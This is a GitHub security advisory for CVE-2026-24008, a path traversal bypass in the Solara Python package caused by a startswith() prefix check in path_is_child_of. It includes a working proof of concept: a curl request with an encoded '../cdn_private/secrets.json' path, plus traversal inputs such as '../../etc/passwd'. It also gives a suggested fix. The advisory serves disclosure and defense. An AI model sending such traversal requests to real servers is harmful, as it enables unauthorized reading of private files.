Skip to content

Path Traversal vulnerability in path_is_child_of function

Moderate
maartenbreddels published GHSA-g8j7-vrfm-973m Feb 3, 2026

Package

pip solara (pip)

Affected versions

< 1.57.2

Patched versions

1.57.2

Description

Summary

I am writing to report a security vulnerability in Solara. Thank you for maintaining this great project!

A Path Traversal vulnerability exists in the path_is_child_of function used for validating file paths. This function was introduced as part of the CVE-2024-39903 fix, but contains a similar vulnerability due to using string startswith() comparison instead of proper path validation. An attacker can access files in adjacent directories whose names share a common prefix with the allowed directory.

For example, if the allowed directory is /var/www/static/, an attacker can access files in /var/www/static_admin/ or /var/www/static_private/ by using path traversal sequences like ../static_admin/secrets.json. This is because the string /var/www/static_admin starts with /var/www/static.

This is clearly unintended behavior because:

  1. The function name path_is_child_of indicates it should verify that a path is a child of the parent directory, not just a string prefix match
  2. The code comment in cdn_helper.py explicitly states: "Make sure cache_path is a subdirectory of base_cache_dir so we don't accidentally read files from the parent directory which is a security risk"
  3. This function was introduced specifically to fix CVE-2024-39903, demonstrating that path traversal prevention was the intended purpos

Severity: Moderate (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - 5.3)

Affected Version: 1.56.0 (latest as of testing)

Vulnerability Details

  • Vulnerability Type: Path Traversal (CWE-22)
  • Affected Component: solara/server/utils.py - path_is_child_of function (Lines 20-28)

The issue occurs because:

  1. The path_is_child_of function uses os.path.normpath() to normalize paths
  2. It then uses Python's str.startswith() to check if the path is within the allowed directory
  3. startswith() performs string comparison, not path comparison
  4. A path like /share/solara/cdn_private starts with /share/solara/cdn, passing the check
def path_is_child_of(path: Path, parent: Path) -> bool:
    # We use os.path.normpath() because we do not want to follow symlinks
    # in editable installs, since some packages are symlinked
    path_string = os.path.normpath(path)
    parent_string = os.path.normpath(parent)
    if sys.platform == "win32":
        # on windows, we sometimes get different casing (only seen on CI)
        path_string = path_string.lower()
        parent_string = parent_string.lower()
    return path_string.startswith(parent_string)  # <-- Vulnerability!

Relationship to CVE-2024-39903

This vulnerability is a bypass of the CVE-2024-39903 fix:

  1. CVE-2024-39903 (commit 391e2124) fixed path traversal in CDN cache using inline startswith() check
  2. Commit df2fd66a introduced path_is_child_of function with the same startswith() pattern
  3. The new function has the same vulnerability, allowing access to adjacent directories with matching prefixes

Steps to Reproduce (PoC)

Step 1: Verify the vulnerability logic

import os
from pathlib import Path

def path_is_child_of_vulnerable(path: Path, parent: Path) -> bool:
    path_string = os.path.normpath(path)
    parent_string = os.path.normpath(parent)
    return path_string.startswith(parent_string)

# Simulated directory structure:
# /var/www/static/         <- Allowed directory
# /var/www/static_admin/   <- Should be protected (contains admin configs)
# /var/www/static_private/ <- Should be protected (contains secrets)

allowed_dir = Path('/var/www/static')

# Attack paths
test_cases = [
    '../static_admin/config.json',     # Should be blocked
    '../static_private/secrets.json',  # Should be blocked
    '../../etc/passwd',                # Should be blocked
]

for attack_path in test_cases:
    combined = allowed_dir / attack_path
    normalized = Path(os.path.normpath(combined))
    result = path_is_child_of_vulnerable(normalized, allowed_dir)
    print(f"Path: {attack_path}")
    print(f"  Normalized: {normalized}")
    print(f"  Allowed: {result}")

Output:

Path: ../static_admin/config.json
  Normalized: /var/www/static_admin/config.json
  Allowed: True   <-- VULNERABILITY! (starts with "/var/www/static")

Path: ../static_private/secrets.json
  Normalized: /var/www/static_private/secrets.json
  Allowed: True   <-- VULNERABILITY! (starts with "/var/www/static")

Path: ../../etc/passwd
  Normalized: /var/etc/passwd
  Allowed: False  <-- Correctly blocked (doesn't start with "/var/www/static")

Step 2: Exploitation via CDN endpoint (Working PoC)

Environment Setup:

# Create a new directory for the PoC
mkdir -p solara-poc && cd solara-poc

# Create virtual environment and install Solara
python -m venv .venv && source .venv/bin/activate
pip install solara requests

Create test directories:

# Get the CDN cache directory path
python3 -c "
import solara.server.settings as settings
print('CDN Cache Dir:', settings.assets.proxy_cache_dir)
"
# Output: CDN Cache Dir: /path/to/solara-poc/.venv/share/solara/cdn

# Create CDN cache directory and adjacent "private" directory
CDN_DIR=".venv/share/solara/cdn"
PRIVATE_DIR=".venv/share/solara/cdn_private"

mkdir -p "$CDN_DIR"
mkdir -p "$PRIVATE_DIR"

# Create a legitimate file in CDN cache
echo "This is an allowed file." > "$CDN_DIR/allowed.txt"

# Create a "secret" file in the adjacent directory (should NOT be accessible)
echo '{"api_key": "SECRET_KEY_12345", "db_password": "super_secret_password"}' > "$PRIVATE_DIR/secrets.json"

Create minimal Solara app (app.py):

import solara

@solara.component
def Page():
    solara.Markdown("# Solara Path Traversal PoC")

Start the server with proxy enabled:

SOLARA_ASSETS_PROXY=true solara run app.py --port 8765

Execute the attack:

# Attack: Access secrets.json via path traversal
curl -s "http://localhost:8765/_solara/cdn/..%2Fcdn_private%2Fsecrets.json"

Result:

{"api_key": "SECRET_KEY_12345", "db_password": "super_secret_password"}

The secret file from cdn_private/ directory was successfully accessed through the CDN endpoint, bypassing the path validation.

Why this works:

  1. Request path: /_solara/cdn/../cdn_private/secrets.json
  2. Server combines: {cache_dir}/../cdn_private/secrets.json
  3. Normalized to: {parent_dir}/cdn_private/secrets.json
  4. path_is_child_of() checks: "cdn_private/secrets.json".startswith("cdn") → True
  5. Check passes, file contents returned

The vulnerability affects any adjacent directory whose name starts with the same prefix (e.g., cdn_backup, cdn_old, cdn2).

Impact

If this vulnerability is exploited, the following damage could occur:

  1. Information Disclosure:

    • Read sensitive files from adjacent directories with matching prefixes
    • Examples: static_admin, static_private, public_internal, cache_secrets
    • Access configuration files, credentials, or cached data outside the intended directory
  2. Scope Limitation:

    • The vulnerability is limited to directories whose names start with the same prefix as the allowed directory
    • Full arbitrary path traversal (e.g., /etc/passwd) is not possible

Attack scenario:

Allowed directory: /var/www/static/
Adjacent directory: /var/www/static_admin/  (contains admin credentials)

Attacker → Requests /_solara/cdn/../static_admin/credentials.json
              ↓
Server combines: /var/www/static/../static_admin/credentials.json
              ↓
Server normalizes to: /var/www/static_admin/credentials.json
              ↓
path_is_child_of() checks: "/var/www/static_admin".startswith("/var/www/static")
              ↓
Returns True! (string prefix matches)
              ↓
Server returns contents of credentials.json

Suggested Fix

Replace startswith() with proper path validation using Path.relative_to():

def path_is_child_of(path: Path, parent: Path) -> bool:
    try:
        path_resolved = Path(os.path.normpath(path)).resolve()
        parent_resolved = Path(os.path.normpath(parent)).resolve()
        path_resolved.relative_to(parent_resolved)
        return True
    except ValueError:
        return False

Verification that this fix blocks the attack:

import os
from pathlib import Path

def path_is_child_of_fixed(path: Path, parent: Path) -> bool:
    try:
        path_resolved = Path(os.path.normpath(path)).resolve()
        parent_resolved = Path(os.path.normpath(parent)).resolve()
        path_resolved.relative_to(parent_resolved)
        return True
    except ValueError:
        return False

allowed_dir = Path('/var/www/static')

test_cases = [
    ('../static_admin/secrets.json', False),
    ('../static_private/config.json', False),
    ('../../etc/passwd', False),
    ('allowed.txt', True),
    ('subdir/file.txt', True),
]

for attack_path, expected in test_cases:
    combined = allowed_dir / attack_path
    result = path_is_child_of_fixed(combined, allowed_dir)
    status = "OK" if result == expected else "FAIL"
    print(f"[{status}] {attack_path} -> {result} (expected: {expected})")

Output:

[OK] ../static_admin/secrets.json -> False (expected: False)
[OK] ../static_private/config.json -> False (expected: False)
[OK] ../../etc/passwd -> False (expected: False)
[OK] allowed.txt -> True (expected: True)
[OK] subdir/file.txt -> True (expected: True)

CVSS:3.1 Score Justification (5.3 Moderate)

  • AV:N (Network) - Exploitable over network via CDN endpoint
  • AC:L (Low) - No special conditions required
  • PR:N (None) - No authentication required for CDN endpoint
  • UI:N (None) - No user interaction required
  • S:U (Unchanged) - Impact limited to vulnerable component
  • C:L (Low) - Limited to adjacent directories with matching prefix (e.g., static_admin, cache_private)
  • I:N (None) - Write impact requires specific conditions
  • A:N (None) - No availability impact

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVE ID

CVE-2026-24008

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Credits